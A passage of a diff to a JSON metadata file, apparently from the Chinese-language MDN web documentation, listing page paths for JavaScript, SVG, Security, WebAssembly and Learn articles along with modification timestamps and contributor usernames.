"Web/JavaScript/Reference/Global_Objects/RegExp/@@search": { - "modified": "2019-03-23T22:11:28.976Z", + "Web/SVG/Element/style": { + "modified": "2019-03-23T22:46:35.874Z", "contributors": [ - "fanyer" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/@@species": { - "modified": "2019-03-23T22:18:27.389Z", + "Web/SVG/Element/svg": { + "modified": "2019-03-23T23:03:45.347Z", "contributors": [ - "wizardforcel" + "alphabet007", + "liyongleihf2006", + "Sebastianz", + "fanxiaojie", + "charlie", + "fonglezen" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/@@split": { - "modified": "2019-08-22T23:28:14.164Z", + "Web/SVG/Element/switch": { + "modified": "2019-03-23T23:03:50.332Z", "contributors": [ - "fangyulovechina", - "fanyer" + "Sebastianz", + "fanxiaojie", + "fonglezen" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/RegExp": { - "modified": "2020-10-15T22:33:53.145Z", + "Web/SVG/Element/symbol": { + "modified": "2019-03-23T23:05:34.325Z", "contributors": [ - "jingkaimori" + "Sebastianz", + "fanxiaojie", + "baiya" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/compile": { - "modified": "2019-03-23T22:22:52.399Z", + "Web/SVG/Element/text": { + "modified": "2019-03-23T23:05:43.568Z", "contributors": [ - "kameii" + "Sebastianz", + "jyy12", + "fanxiaojie", + "charlie", + "baiya" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/dotAll": { - "modified": "2020-10-15T22:16:46.676Z", + "Web/SVG/Element/textPath": { + "modified": "2019-03-23T23:05:43.375Z", "contributors": [ - "c1er" + "Sebastianz", + "fanxiaojie", + "baiya" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/exec": { - "modified": "2020-10-15T21:26:53.403Z", + "Web/SVG/Element/title": { + "modified": "2019-03-23T22:46:43.066Z", "contributors": [ - "CarrotB", - "dear-lizhihua", - "PageYe", - "righttoe", - "shiddong", - "ibufu", - "nandayaduo", - "Marco_dev", - "xgqfrms-GitHub", - "hangyangws", - "LiiiiittleRain", - "paddingme", - "baiya", - "teoli", - "AlexChao", - "ziyunfei", - "LinusYu" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/flags": { - "modified": "2019-07-04T23:57:57.114Z", + "Web/SVG/Element/tref": { + "modified": "2019-03-23T23:05:44.122Z", "contributors": [ - "wizardforcel" + "Sebastianz", + "fanxiaojie", + "baiya" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/global": { - "modified": "2019-07-04T23:58:07.262Z", + "Web/SVG/Element/tspan": { + "modified": "2019-03-23T23:29:30.380Z", "contributors": [ + "wbamberg", + "Sebastianz", + "fanxiaojie", "teoli", - "AlexChao" + "flyonok" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase": { - "modified": "2019-07-04T23:54:43.220Z", + "Web/SVG/Element/use": { + "modified": "2019-03-23T22:46:45.349Z", "contributors": [ - "teoli", - "AlexChao" + "Sebastianz", + "ObooChin", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/input": { - "modified": "2019-04-16T05:59:34.644Z", + "Web/SVG/Element/view": { + "modified": "2019-06-15T03:14:56.821Z", "contributors": [ - "gh1031", - "teoli", - "wizardforcel" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex": { - "modified": "2019-07-04T23:55:43.642Z", + "Web/SVG/Element/vkern": { + "modified": "2020-10-15T21:39:26.145Z", "contributors": [ - "teoli", - "AlexChao", - "ziyunfei", - "Wjsl" + "RainSlide", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch": { - "modified": "2019-03-23T22:18:26.965Z", + "Web/SVG/Linking": { + "modified": "2019-11-28T05:35:16.253Z", "contributors": [ - "teoli", - "wizardforcel" + "tangguolong" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/lastParen": { - "modified": "2019-03-23T22:18:27.095Z", + "Web/SVG/Namespaces_Crash_Course": { + "modified": "2019-10-11T20:02:55.677Z", "contributors": [ - "teoli", - "wizardforcel" + "pacexy", + "cyemeng", + "876843240", + "RongMine", + "Ljrou", + "charlie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/leftContext": { - "modified": "2019-03-23T22:18:24.587Z", + "Web/SVG/SVG_1.1_Support_in_Firefox": { + "modified": "2019-03-23T22:52:10.546Z", "contributors": [ - "teoli", - "wizardforcel" + "Kylexii", + "sunxiang", + "ziyunfei", + "lunix01" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/multiline": { - "modified": "2019-07-04T23:59:21.859Z", + "Web/SVG/SVG_animation_with_SMIL": { + "modified": "2019-03-23T22:46:05.864Z", "contributors": [ - "teoli", - "AlexChao" + "WindStormrage", + "fscholz", + "Jackandjohn", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/n": { - "modified": "2019-07-12T00:53:55.955Z", + "Web/SVG/SVG_as_an_Image": { + "modified": "2019-03-23T22:46:05.004Z", "contributors": [ - "teoli", - "fengma", - "xgqfrms-GitHub", - "AlixWang" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/prototype": { - "modified": "2019-07-08T23:50:51.861Z", + "Web/SVG/Tutorial": { + "modified": "2019-08-15T22:27:47.736Z", "contributors": [ + "AngelName", + "Pehfan", + "simongfxu", + "xgqfrms", + "fanxiaojie", + "charlie", "teoli", - "AlexChao", - "ziyunfei" + "ziyunfei", + "Dx.Yang" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/rightContext": { - "modified": "2019-03-23T22:18:24.457Z", + "Web/SVG/Tutorial/Basic_Shapes": { + "modified": "2020-05-17T23:40:20.747Z", "contributors": [ - "teoli", - "wizardforcel" + "nyz123", + "0229xiang", + "851091009", + "VicYu", + "fanxiaojie", + "zldream1106", + "act262" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/source": { - "modified": "2019-07-04T23:56:46.237Z", + "Web/SVG/Tutorial/Basic_Transformations": { + "modified": "2019-03-23T22:46:26.560Z", "contributors": [ - "ziyunfei", - "yenshen" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/sticky": { - "modified": "2020-10-15T21:51:29.415Z", + "Web/SVG/Tutorial/Clipping_and_masking": { + "modified": "2020-05-16T12:44:05.454Z", "contributors": [ - "Ende93", - "Ahhaha233", - "wenmin92" + "Yayure", + "hebby", + "chenronghui", + "zhangyifan", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/test": { - "modified": "2020-11-19T10:20:16.081Z", + "Web/SVG/Tutorial/Fills_and_Strokes": { + "modified": "2019-07-02T00:36:20.256Z", "contributors": [ - "zhuangyin", - "ReedSun", - "symant233", - "ridiculousjam", - "zqyue", - "xgqfrms-GitHub", - "kameii", - "teoli", - "AlexChao" + "0229xiang", + "ZhengYinBo", + "fanxiaojie", + "act262" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/toSource": { - "modified": "2019-07-04T23:42:36.181Z", + "Web/SVG/Tutorial/Filter_effects": { + "modified": "2020-05-16T13:46:25.008Z", "contributors": [ - "teoli", - "ziyunfei" + "Yayure", + "knightyun", + "ZeroJsus", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/toString": { - "modified": "2019-07-04T23:42:41.541Z", + "Web/SVG/Tutorial/Getting_Started": { + "modified": "2020-02-19T07:42:57.768Z", "contributors": [ - "teoli", - "AlexChao" + "Jamie0327", + "qinggge", + "SallyOne", + "maozhenhua2", + "shuihuo", + "SparrowLiu", + "fanxiaojie", + "dolphinX" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/unicode": { - "modified": "2019-07-04T23:59:38.859Z", + "Web/SVG/Tutorial/Gradients": { + "modified": "2019-03-23T22:50:18.555Z", "contributors": [ - "wizardforcel" + "fanxiaojie", + "ziyunfei", + "zldream1106" ] }, - "Web/JavaScript/Reference/Global_Objects/Set": { - "modified": "2020-11-10T03:33:00.037Z", + "Web/SVG/Tutorial/Introduction": { + "modified": "2020-06-30T12:46:55.614Z", "contributors": [ - "SphinxKnight", - "Ongve", - "Ende93", - "wallena3", - "woshiqiang1", - "houzp", - "MYWProgram", - "zhuangyin", - "zhangchen", - "Jiang-Xuan", - "buckarooch", - "xgqfrms-GitHub", - "CoCooCo", - "JJPandari", - "tang45", - "xdsnet", - "dingxu", - "tngan", - "ziyunfei", - "fskuok", - "tiansh", + "antimonyGu", + "Jamie0327", + "daGaiGuanYu", + "XHMM", + "ZeroJsus", + "shuihuo", + "ezirmusitua", + "xgqfrms", + "fanxiaojie", + "charlie", "teoli", - "zhangyaochun1987" + "ziyunfei", + "Dx.Yang" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/@@iterator": { - "modified": "2020-10-15T22:31:10.470Z", + "Web/SVG/Tutorial/Other_content_in_SVG": { + "modified": "2020-05-16T13:02:06.652Z", "contributors": [ - "Ende93" + "Yayure", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/@@species": { - "modified": "2020-10-15T22:05:00.184Z", + "Web/SVG/Tutorial/Paths": { + "modified": "2020-10-26T07:22:08.293Z", "contributors": [ - "Ende93", - "susan007", - "helloyong" + "WindStormrage", + "esc", + "xgqfrms", + "chenyang", + "hebby", + "mochase", + "xianshenglu", + "vlaw", + "fanxiaojie", + "AnnGing", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/Set": { - "modified": "2020-10-15T22:31:09.443Z", + "Web/SVG/Tutorial/Patterns": { + "modified": "2020-05-04T00:26:06.468Z", "contributors": [ - "Ende93" + "knightyun", + "fanxiaojie", + "zldream1106" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/add": { - "modified": "2020-10-15T21:28:25.102Z", + "Web/SVG/Tutorial/Positions": { + "modified": "2019-06-07T11:18:02.352Z", "contributors": [ - "Mr_kaze", - "zhuangyin", - "fscholz", - "MaZheng", - "Ende93", - "Skyang", - "yenshen", + "ymjrcc", + "fanxiaojie", + "BlackGlory", + "jiraiya", + "teoli", "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/clear": { - "modified": "2019-03-23T23:13:23.536Z", + "Web/SVG/Tutorial/SVG_Image_Tag": { + "modified": "2019-03-23T22:46:20.960Z", "contributors": [ - "MaZheng", - "Ende93", - "ziyunfei" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/delete": { - "modified": "2019-07-08T00:12:51.875Z", + "Web/SVG/Tutorial/SVG_In_HTML_Introduction": { + "modified": "2019-10-30T00:49:48.215Z", "contributors": [ - "adonWong", - "Ende93", - "ziyunfei" + "donley828", + "crazy_rat", + "chrisdavidmills", + "zldream1106", + "lunix01" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/entries": { - "modified": "2019-03-23T22:25:08.761Z", + "Web/SVG/Tutorial/SVG_fonts": { + "modified": "2019-03-23T22:46:23.842Z", "contributors": [ - "Lunaticf", - "timlee1128" + "fanxiaojie" + ] + }, + "Web/SVG/Tutorial/Texts": { + "modified": "2020-07-06T07:25:02.894Z", + "contributors": [ + "zch233", + "fsx950223", + "fanxiaojie", + "FEbyland" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/forEach": { - "modified": "2019-08-05T06:54:27.458Z", + "Web/SVG/Tutorial/Tools_for_SVG": { + "modified": "2019-03-23T22:46:28.488Z", "contributors": [ - "tzmf", - "Jonnypeng", - "SphinxKnight", - "myl0204", - "tommyzqfeng", - "timlee1128", - "201341", - "gaigeshen" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/has": { - "modified": "2019-07-08T00:21:03.715Z", + "Web/Security": { + "modified": "2019-09-10T16:49:46.462Z", "contributors": [ - "marsgt", - "MaZheng", "SphinxKnight", - "Nonlone" + "cooldrivez", + "zhangppbb", + "RainSlide", + "msforest", + "Vivi-wu", + "ziyunfei", + "Breezewish", + "Freeopen" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/size": { - "modified": "2020-10-15T21:41:25.836Z", + "Web/Security/Same-origin_policy": { + "modified": "2020-04-07T00:07:57.795Z", "contributors": [ - "zhangchen", - "SphinxKnight", - "springuper", - "OmniP" + "H3lloTom", + "dingziqi", + "769344359", + "AOYE", + "LvChengbin", + "Jerry4013", + "Syclover-u2400", + "iceytea", + "moyamoyarua", + "LeezQ", + "Akiq2016", + "zhuangyin", + "heekei", + "sqchenxiyuan", + "firedent", + "orangle", + "xgqfrms-GitHub", + "Ende93", + "Jim_Chen", + "lyhper", + "linzhixiong", + "J22Melody", + "codinglion", + "ziyunfei", + "Taro", + "mr3", + "teoli", + "monjer", + "kusamba", + "Ghostheaven" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/values": { - "modified": "2020-10-15T21:48:24.054Z", + "Web/Security/Secure_Contexts": { + "modified": "2020-09-16T05:44:30.532Z", "contributors": [ - "Mr_kaze", - "qiudongwei", - "marsgt", - "holynewbie" + "gjc9620" ] }, - "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer": { - "modified": "2020-10-15T21:52:10.163Z", + "Web/Security/Securing_your_site": { + "modified": "2019-05-30T06:18:16.799Z", "contributors": [ - "wallena3", - "szengtal", - "RoXoM", - "AnnAngela", + "Qos", + "Roscoe93", + "keep2zero", "xgqfrms-GitHub", - "winjeysong" + "hashedhyphen" ] }, - "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/byteLength": { - "modified": "2020-10-15T21:58:35.573Z", + "Web/Security/Securing_your_site/Turning_off_form_autocompletion": { + "modified": "2020-06-26T14:51:08.712Z", "contributors": [ - "wallena3", + "Clarkkkk", + "zhangchen", + "nick-ChenZe", + "tsejx", + "1010Tech", "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype": { - "modified": "2020-10-15T21:58:38.272Z", + "Web/Tutorials": { + "modified": "2020-09-27T10:44:48.931Z", "contributors": [ - "wallena3", - "xgqfrms-GitHub" + "GKilyar", + "StorytellerF", + "yzweb2018", + "shengoo", + "yangzi", + "wumouse", + "185-5162-9169", + "Ende93", + "SamuraiMe", + "cehnjing", + "shengyouxiao", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/slice": { - "modified": "2020-10-15T21:58:38.787Z", + "Web/WebDriver": { + "modified": "2020-10-15T22:20:19.059Z", "contributors": [ - "wallena3", - "xgqfrms-GitHub" + "lvbaiying", + "ZQ-jhon" ] }, - "Web/JavaScript/Reference/Global_Objects/String": { - "modified": "2020-05-13T00:15:31.329Z", + "Web/Web_Components": { + "modified": "2020-05-14T03:39:38.306Z", "contributors": [ - "canyi1942", - "RainSlide", - "Ejgwg0629", - "transping", - "zhangsenhua", - "frankfang1990", - "huangbom", + "lc15011977647", + "RequireSun", + "ujsxn", + "zjffun", + "YellowPure", + "FlyingPig", + "FarmerZhou", + "siwei_null", + "zilong-thu", + "jscgq", + "EliYao", + "zhangchen", "xgqfrms-GitHub", - "ezirmusitua", - "sevenqi", - "ouzz413", - "MrBeike", - "msmailcode", - "git123hub", - "Soy", - "webpansy", - "liurenxingyu", - "lunix01", - "FredWe", - "teoli", - "ziyunfei" + "little-tomorrow", + "chaosdog", + "xiaokk06", + "jchnxu", + "Fantasy_shao" ] }, - "Web/JavaScript/Reference/Global_Objects/String/@@iterator": { - "modified": "2019-10-14T06:47:30.493Z", + "Web/Web_Components/Using_custom_elements": { + "modified": "2020-08-13T09:13:52.060Z", "contributors": [ - "SageX", - "Dewey." + "justaverygoodboy", + "ytxmobile", + "LemonTency", + "Xiaoming666", + "bei6", + "YellowPure", + "rianma", + "fu1252", + "olivewind", + "zhang-quan-yi" ] }, - "Web/JavaScript/Reference/Global_Objects/String/Trim": { - "modified": "2020-10-15T21:07:55.641Z", + "Web/Web_Components/Using_shadow_DOM": { + "modified": "2020-06-08T05:35:09.239Z", "contributors": [ - "brizer", + "Junezm", "RainSlide", - "SageX", - "xgqfrms-GitHub", - "Ende93", - "helloguangxue", - "teoli", - "ziyunfei" + "Louis-7", + "haoliangwu", + "zhang-quan-yi" ] }, - "Web/JavaScript/Reference/Global_Objects/String/TrimLeft": { - "modified": "2020-10-15T21:07:56.369Z", + "Web/Web_Components/Using_templates_and_slots": { + "modified": "2020-11-09T10:43:35.619Z", "contributors": [ - "RainSlide", - "SageX", - "zhangchen", - "xgqfrms-GitHub", - "teoli", - "ziyunfei" + "luzhenqian", + "jingkaimori", + "Yayure", + "whuhyw", + "sjpeter", + "Czzzx", + "JasonKee", + "xgqfrms", + "xrr2016", + "zxk7516" ] }, - "Web/JavaScript/Reference/Global_Objects/String/TrimRight": { - "modified": "2020-10-15T21:07:55.509Z", + "Web/XML": { + "modified": "2019-09-25T00:01:50.050Z", "contributors": [ - "SageX", - "zhangchen", - "teoli", - "Ende93", - "xgqfrms-GitHub", - "ziyunfei" + "amalia77", + "ExE-Boss" ] }, - "Web/JavaScript/Reference/Global_Objects/String/anchor": { - "modified": "2019-10-13T02:57:05.433Z", + "Web/XML/XML_Introduction": { + "modified": "2020-03-04T03:08:47.854Z", "contributors": [ - "SageX", - "xgl", - "wwzText", - "Noly1990", - "teoli", - "AlexChao" + "Whitetea00", + "Joria0414", + "fish-inu", + "ExE-Boss", + "DarrenZhang01", + "pluwen", + "xgqfrms-GitHub", + "Y001", + "Mgjbot", + "Gelihui", + "Kakurady", + "Dbseti" ] }, - "Web/JavaScript/Reference/Global_Objects/String/big": { - "modified": "2019-08-30T00:30:39.502Z", + "Web/XPath": { + "modified": "2019-03-18T20:43:12.282Z", "contributors": [ - "wizardforcel", - "Valora", - "JokerPrince" + "RainSlide", + "Ke.shidong", + "ziyunfei", + "cattail2012@gmail.com" ] }, - "Web/JavaScript/Reference/Global_Objects/String/blink": { - "modified": "2019-08-30T00:33:08.296Z", + "Web/XPath/Axes": { + "modified": "2019-03-18T20:43:12.087Z", "contributors": [ - "wizardforcel", - "JokerPrince" + "ziyunfei", + "Cuimingda" ] }, - "Web/JavaScript/Reference/Global_Objects/String/bold": { - "modified": "2019-08-30T00:38:46.883Z", + "Web/XSLT": { + "modified": "2019-03-23T23:52:51.686Z", "contributors": [ - "Ende93", - "Agp12010" + "Gingercat", + "ziyunfei", + "Freeopen", + "Lycvip" ] }, - "Web/JavaScript/Reference/Global_Objects/String/charAt": { - "modified": "2019-08-30T00:20:40.323Z", + "Web/XSLT/Transforming_XML_with_XSLT": { + "modified": "2019-03-23T23:52:45.330Z", "contributors": [ - "Noly1990", - "xgqfrms-GitHub", - "Hugh", - "MarianZhang", - "teoli", - "AlexChao" + "chrisdavidmills", + "ziyunfei", + "Freeopen" ] }, - "Web/JavaScript/Reference/Global_Objects/String/charCodeAt": { - "modified": "2020-10-15T21:28:56.069Z", + "WebAssembly": { + "modified": "2020-10-15T21:52:52.867Z", "contributors": [ - "laampui", - "ChenNing02", - "RainSlide", - "lordisback", - "JuFoFu", - "KMKNKK", - "wizardforcel", + "callmeDAY", + "zhangchen", + "ldwformat", + "zhuangyin", + "kingysu", "xgqfrms-GitHub", - "baishusama", - "VmanXu", - "NotFinally", - "MarianZhang", - "Bigbigbig", - "greatbug", - "BeHappyF", - "LittleJake", - "Meteormatt", - "sweetliu", - "teoli", - "AlexChao" + "disoul" ] }, - "Web/JavaScript/Reference/Global_Objects/String/codePointAt": { - "modified": "2019-03-18T20:48:31.110Z", + "WebAssembly/C_to_wasm": { + "modified": "2020-11-17T22:59:58.305Z", "contributors": [ - "transping", - "xdsnet", - "anchengjian" + "CGerAJ", + "zhanyuzhang", + "xinghuolei", + "rui-space", + "jinliming2", + "johncido", + "eeve", + "kingysu", + "hungtcs", + "AdrianDuan", + "disoul" ] }, - "Web/JavaScript/Reference/Global_Objects/String/concat": { - "modified": "2020-10-15T21:07:52.015Z", + "WebAssembly/Caching_modules": { + "modified": "2019-03-25T04:00:16.303Z", "contributors": [ - "laampui", - "Skyang", - "yenshen", - "teoli", - "AlexChao", - "ziyunfei" + "Seasonley", + "rui-space", + "kingysu" ] }, - "Web/JavaScript/Reference/Global_Objects/String/endsWith": { - "modified": "2020-10-15T21:21:07.320Z", + "WebAssembly/Concepts": { + "modified": "2019-03-18T20:54:48.847Z", "contributors": [ - "laampui", - "RainSlide", - "Veneno", - "LasyIsLazy", - "hongxu.Wei", - "terasum", - "SphinxKnight", - "percy507", - "teoli", - "ziyunfei" + "xiongcong", + "rui-space", + "ziyunfei", + "kingysu" ] }, - "Web/JavaScript/Reference/Global_Objects/String/fixed": { - "modified": "2019-03-23T22:39:09.482Z", + "WebAssembly/Exported_functions": { + "modified": "2019-07-23T04:14:30.673Z", "contributors": [ - "Ende93", - "chengxc" + "imechZhangLY", + "rui-space", + "kingysu" ] }, - "Web/JavaScript/Reference/Global_Objects/String/fontcolor": { - "modified": "2019-03-23T22:20:59.919Z", + "WebAssembly/Loading_and_running": { + "modified": "2019-03-18T20:54:50.799Z", "contributors": [ - "Jiang-Xuan", - "jieouba" + "kingysu", + "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Global_Objects/String/fontsize": { - "modified": "2019-03-23T22:22:45.888Z", + "WebAssembly/Rust_to_wasm": { + "modified": "2020-11-12T06:21:14.353Z", "contributors": [ - "JokerPrince" + "longfangsong", + "linghucq1", + "yanchongwen101", + "Syaki", + "SphinxKnight", + "SToneX", + "wymm0008" ] }, - "Web/JavaScript/Reference/Global_Objects/String/fromCharCode": { - "modified": "2020-10-15T21:28:54.977Z", + "WebAssembly/Text_format_to_wasm": { + "modified": "2020-01-27T02:12:13.951Z", "contributors": [ - "叶扬", - "laampui", - "weiqinl", - "Jiang-Xuan", + "coderzh", + "acelan86", "xgqfrms-GitHub", - "AlexChao" + "kingysu" ] }, - "Web/JavaScript/Reference/Global_Objects/String/fromCodePoint": { - "modified": "2020-10-15T21:44:06.995Z", + "WebAssembly/Understanding_the_text_format": { + "modified": "2019-03-23T22:12:45.612Z", "contributors": [ - "RainSlide", - "varcat", - "transping", - "xiayefeng", - "Hushabyme", - "Cattla", - "lastjune" + "yangdonglai", + "rui-space", + "aaron_li", + "Rexli", + "rockfire", + "acelan86", + "kingysu", + "chyingp", + "itminus" ] }, - "Web/JavaScript/Reference/Global_Objects/String/includes": { - "modified": "2020-10-15T21:20:32.653Z", + "WebAssembly/Using_the_JavaScript_API": { + "modified": "2020-08-18T06:38:27.755Z", "contributors": [ - "laampui", - "1v9", - "hongxu.Wei", + "jealyn", + "xgqfrms", + "coderzh", + "billkang", + "huangjj27", + "kingysu", + "skyfore", + "xgqfrms-GitHub" + ] + }, + "learn": { + "modified": "2020-07-16T22:43:49.854Z", + "contributors": [ + "Roy-Tian", + "SirnoChan", + "mrg123", + "wangfangping", + "chentao106", + "916106840510", + "wushengde", + "MingdaHIT", + "JiaHua", + "Aslemonssss", + "SurfingFish", + "svarlamov", + "RanceLotusLee", + "miye", + "xmcgcg", + "codeofjackie", + "xixilog", + "Forbidden", + "Bearies", + "varcat", + "2526chen", + "zs808", + "gao5252", + "xcffl", + "sefer", "xgqfrms-GitHub", - "Zertu", - "JokerPrince", - "zilong-thu", + "fan19900404", + "WavinFlag", + "Simcookies", + "m4jing", + "liminjun", + "sunxiang", + "Ende93", + "Meteormatt", + "lunix01", + "27", + "chenhui7373", "teoli", "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/String/indexOf": { - "modified": "2020-10-15T21:28:57.881Z", + "learn/Accessibility": { + "modified": "2020-07-16T22:40:01.477Z", + "contributors": [ + "shinexyt", + "pixang", + "yatarphae", + "guaner", + "chenghaihua" + ] + }, + "learn/Accessibility/Accessibility_troubleshooting": { + "modified": "2020-07-16T22:40:37.212Z", + "contributors": [ + "wsj0124", + "kuldahar", + "zeng-zhi-yong" + ] + }, + "learn/Accessibility/Mobile": { + "modified": "2020-07-16T22:40:33.086Z", + "contributors": [ + "yuyx91", + "shenshaohui1991" + ] + }, + "learn/Accessibility/WAI-ARIA_basics": { + "modified": "2020-07-16T22:40:24.388Z", "contributors": [ - "sunchengpeng", - "LaiTaoGDUT", - "inlym", - "Heaan", - "kingsley2036", - "RainSlide", - "a-x", - "xgqfrms-GitHub", - "Ende93", - "AlexChao" + "grape", + "Madao-3", + "DavidDavidx" ] }, - "Web/JavaScript/Reference/Global_Objects/String/italics": { - "modified": "2019-03-23T22:39:41.518Z", + "learn/Front-end_web_developer": { + "modified": "2020-07-16T22:40:48.018Z", "contributors": [ - "ssruoyan" + "Ende93", + "ex90rts" ] }, - "Web/JavaScript/Reference/Global_Objects/String/lastIndexOf": { - "modified": "2019-10-13T05:19:10.386Z", + "learn/HTML": { + "modified": "2020-07-16T22:22:25.734Z", "contributors": [ - "SageX", - "ts0307", - "Heaan", - "GavinMoreYoung", - "yenshen", - "AlexChao" + "anguiao", + "xmcgcg", + "codeofjackie", + "myfreeer", + "xp44mm", + "xgqfrms-GitHub", + "BigLiao", + "leenlyCFFC", + "Mac_zhang", + "aimiy", + "chenxingyu350128", + "Yongest", + "funnyChinese", + "pkjy", + "sunxiang", + "Metalooze" ] }, - "Web/JavaScript/Reference/Global_Objects/String/length": { - "modified": "2019-03-18T20:48:34.436Z", + "learn/HTML/Howto": { + "modified": "2020-07-16T22:22:31.131Z", "contributors": [ - "yenshen", - "teoli", - "AlexChao", - "ziyunfei" + "xmcgcg", + "coderfee", + "WooHooDai", + "sallyllas", + "sour-toilet-seat", + "webber007", + "pengtikui", + "skylakecore", + "qixi" ] }, - "Web/JavaScript/Reference/Global_Objects/String/link": { - "modified": "2020-10-15T21:28:55.868Z", + "learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image": { + "modified": "2020-07-16T22:22:43.732Z", "contributors": [ - "RainSlide", - "teoli", - "AlexChao" + "hebby" ] }, - "Web/JavaScript/Reference/Global_Objects/String/localeCompare": { - "modified": "2020-10-15T21:40:52.842Z", + "learn/HTML/Introduction_to_HTML": { + "modified": "2020-07-16T22:22:54.800Z", "contributors": [ - "weibangtuo", - "xuqighub", - "Ninja-Xu", - "Lookkkk", - "lcysgsg", - "xgqfrms-GitHub", - "zilong-thu", - "Yuxuan_Jiang", - "helloguangxue", - "Ende93" + "zixuan945", + "mkckr0", + "Sphish", + "xmcgcg", + "imba-tjd", + "HolaForce", + "codeofjackie", + "zihengCat", + "lihaoyuan", + "chenos", + "Melvin.", + "xixilog", + "SeanZHU", + "funnyChinese", + "ZhiRui" ] }, - "Web/JavaScript/Reference/Global_Objects/String/match": { - "modified": "2020-11-19T10:33:22.045Z", + "learn/HTML/Introduction_to_HTML/Advanced_text_formatting": { + "modified": "2020-10-29T09:47:28.341Z", "contributors": [ - "zhuangyin", - "GGliushi", - "zhangming8691", - "SageX", - "meng-Macbook", - "Nick_Arron", - "YISHI", - "Freed", - "xgqfrms-GitHub", - "kameii", - "AlexChao" + "kuailekai", + "Chell", + "Roy-Tian", + "MorrisLi", + "CesarChang", + "kenneth55555", + "cetewhale", + "xq20160912", + "monkey-king", + "imba-tjd", + "kaka4NERV", + "HolaForce", + "codeofjackie", + "jwhitlock", + "anlien", + "eelord", + "lihaoyuan", + "superkuang", + "zhaoqize", + "023Sparrow", + "yydzxz", + "dirringx", + "HashubWang", + "xiaofei86", + "luwudang", + "weikunzz" ] }, - "Web/JavaScript/Reference/Global_Objects/String/matchAll": { - "modified": "2020-10-15T22:16:17.159Z", + "learn/HTML/Introduction_to_HTML/Debugging_HTML": { + "modified": "2020-09-22T12:30:11.535Z", "contributors": [ - "oxyg3n", - "symant233", - "Tangel", - "zytjs", - "BadmasterY", - "SageX", - "Marcia_gm" + "Roy-Tian", + "aaazz47", + "Yang_Hanlin", + "huaouo", + "HolaForce", + "lihaoyuan", + "zhaoqize", + "littledust", + "Zeng", + "huixiaomu" ] }, - "Web/JavaScript/Reference/Global_Objects/String/normalize": { - "modified": "2020-10-15T21:26:59.570Z", + "learn/HTML/Introduction_to_HTML/Getting_started": { + "modified": "2020-07-16T22:23:09.709Z", "contributors": [ - "RainSlide", - "SageX", - "xgl", - "SphinxKnight", - "teoli", - "ziyunfei" + "lucida959595", + "Roy-Tian", + "dlnb526", + "LINYI", + "Sphish", + "h4091", + "WoodCube", + "eagle1949", + "imba-tjd", + "gadflysu", + "WimZhai", + "jwhitlock", + "HolaForce", + "byeyear", + "Planet6174", + "codeofjackie", + "pachinko", + "Willian.G", + "alonelyer", + "xp44mm", + "shinexyt", + "zhaoqize", + "Jeffrey_Yang", + "lyxy", + "SilverLeaves", + "skylakecore", + "jiahaifeng", + "workttt", + "HashubWang", + "b2ns", + "songbinghui", + "mhengrui", + "PhilipDing", + "RevolverOcelotA", + "hawm", + "3359260180", + "goingon", + "MinimalistYing", + "funnyChinese" ] }, - "Web/JavaScript/Reference/Global_Objects/String/padEnd": { - "modified": "2020-10-15T21:44:49.353Z", + "learn/HTML/Introduction_to_HTML/HTML_text_fundamentals": { + "modified": "2020-11-16T00:17:59.659Z", "contributors": [ - "zhuangyin", - "calabash519", - "Iwouldliketobeapig", - "comehope", - "ziyunfei" + "sinochen123", + "Roy-Tian", + "aaazz47", + "ZeroAurora", + "youngquan", + "MorrisLi", + "SirnoChan", + "Sphish", + "liangmuyang", + "tryhard", + "sf-think", + "baijingfeng", + "WindLo", + "HolaForce", + "web-xx", + "CaTmmao", + "shiyubo", + "zhaoqize", + "fengkx", + "HashubWang", + "skylakecore", + "876843240", + "DZW314", + "danlanxiaohei", + "c0ldian", + "funnyChinese" ] }, - "Web/JavaScript/Reference/Global_Objects/String/padStart": { - 